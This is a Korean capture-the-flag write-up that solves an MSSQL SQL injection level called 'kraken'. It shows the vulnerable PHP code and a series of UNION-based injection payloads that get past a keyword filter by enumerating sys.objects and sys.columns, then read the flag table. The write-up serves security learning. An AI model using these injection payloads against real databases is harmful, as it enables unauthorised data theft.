문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("kraken");
  if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['id']) echo "<h2>{$result['id']}</h2>";

  if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

공격 백터

  • id
  • pw

공격 백터에 대한 검증

  • id : master, information, ;
  • pw : master, information, ;

코드 분석

$db = mssql_connect("kraken");

MsSQL 문제이다.

 

$query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['id']) echo "<h2>{$result['id']}</h2>";

필터링을 통과한 공격 백터 id, pw는 쿼리문에 들어가게 된다.
들어가게된 쿼리문은 id='공격 백터 id' and pw='공격 백터 pw'인 member 테이블에 저장된 id을 반환한다.

 

만약 반환된 id가 있다면 id을 페이지에 출력한다.

 

if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.

문제 클리어 조건은 flag_{hash} 테이블에 저장된 flag 값과 공격 백터 pw가 같으면 클리어하게 된다.


문제 풀이

MsSQL에서 테이블을 출력할 수 있는 방법은 master, information, sys를 이용한 방법이다.
하지만 master, infomation은 필터링되어 sys를 이용하여 테이블과 컬럼을 찾아내도록 하겠다.

MsSQL sys SQLi 참고 사이트 : SQL Injection

 

일단 sys.objects의 컬럼이 어떤 것이 있는지 궁금하여 출력해봤다.
name, type를 WHERE절에 사용하면 사용자가 생성한 테이블이면서 테이블 명이 flag_{hash}인 것을 반환 할 수 있을 것 같았다.

 

?pw=' UNION SELECT name as id FROM sys.objects WHERE name LIKE 'flag%' and type='U'--

생각한 것처럼 테이블명이 잘 나왔다.

 

이제 flag_ccdfe62b 테이블에 어떤 컬럼이 있는지 알아내기 위해 sys.columns의 컬럼을 알아보도록 하겠다.

출력한 결과 object_id 컬럼을 통해 테이블을 구별하고 있었다.

 

?pw=' UNION SELECT object_id FROM sys.objects WHERE name LIKE 'flag% and type='U'--

나는 테이블 명만 알고 있어서 object_id을 알아내야 한다. 그래서 다시 sys.objects을 사용해서 object_id를 출력하였다.

 

?pw=' UNION SELECT name FROM sys.columns WHERE object_id='901578250'--

아주 간단하게 column명을 가져올 수 있다. 물론 여러 개의 컬럼이 있을 수 도 있지만 혹시 하나만 있을 수 도 있으니깐 하나만 파싱하고 넘어가겠다.

 

?pw=' UNION SELECT flag_ab15b600 FROM flag_ccdfe62b--

알아낸 테이블과 컬럼을 출력해보니, Flag가 출력되었다.

 

이를 공격 백터 pw에 넣어서 서버로 보내니, 문제가 클리어 되었다.

복사했습니다!